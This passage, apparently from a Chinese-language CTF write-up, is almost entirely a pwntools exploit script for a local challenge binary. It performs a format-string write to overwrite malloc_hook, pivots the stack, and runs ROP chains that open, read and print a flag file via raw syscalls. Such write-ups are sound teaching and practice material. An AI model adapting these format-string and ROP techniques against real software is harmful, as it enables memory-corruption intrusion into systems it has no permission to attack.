        p_rsi,flag_addr,
        p_rax_rdx_r,1,0x60,0,syscall,
        ])
    p.sendline(rops)
    p.interactive()
exp()

4.4.2 思路二

#coding=utf-8
from pwn import *
from fmt_attack import Payload

p = process('./pwn')
context.log_level = 'debug'

read_addr = 0x400bce # 读0xc0个字符功能的函数
malloc_hook = 0x6ed7a8
# 0x0000000000471115: syscall; ret; 
# 0x0000000000400c6c: leave; ret;
# 0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;
# 0x000000000042142b: pop rcx; ret;
# 0x000000000044b3a2: pop rdi; jmp rax;
# 0x0000000000482286: pop rax; pop rdx; pop rbx; ret; 
# 0x0000000000401f08: pop rsi; pop r15; ret; 
# 0x000000000042830b: pop rsp; jmp rax;
# 0x00000000004014a4: pop rsi; ret;
# 0x000000000040b74a: pop rdi; pop rbp; ret; 
# 0x00000000004005b5: pop rsp; ret; 


a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a')) 
a.add_write_chunk(0x0000000000422924,0x6ed7a8,4)
a.add_write_chunk(0x000000000040b74a,0x6ed7b8,4)
a.add_write_chunk(0x6ed7d0,0x6ed7c0,4)
a.add_write_chunk(read_addr,0x6ed7d0,4)
payload = a.get_payload()
gdb.attach(p)
p.sendline(payload.ljust(0xc0,"\x00"))

# read func
payload1 = "flag".ljust(8,"\x00")  # 0x6ed7d0
payload1+= p64(0x0000000000482286) + p64(0) + p64(0x400) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload1+= p64(0x000000000040b74a) + p64(0)*2 # pop rdi; pop rbp; ret; 
payload1+= p64(0x00000000004014a4) + p64(0x6ed900) # pop rsi; ret;
payload1+= p64(0x0000000000471115) # syscall ret
payload1+= p64(0x00000000004005b5) + p64(0x6ed900) # pop rsp; ret;
p.sendline(payload1.ljust(0xc0,"\x00"))

# ------------ ORW ---------------
# open
payload2 = p64(0x0000000000482286) + p64(2) + p64(0) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(0x6ed7d0)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
# read
payload2+= p64(0x0000000000482286) + p64(0) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(3)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
# write
payload2+= p64(0x0000000000482286) + p64(1) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(1)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
p.sendline(payload2.ljust(0x400,"\x00"))
p.interactive()
(完)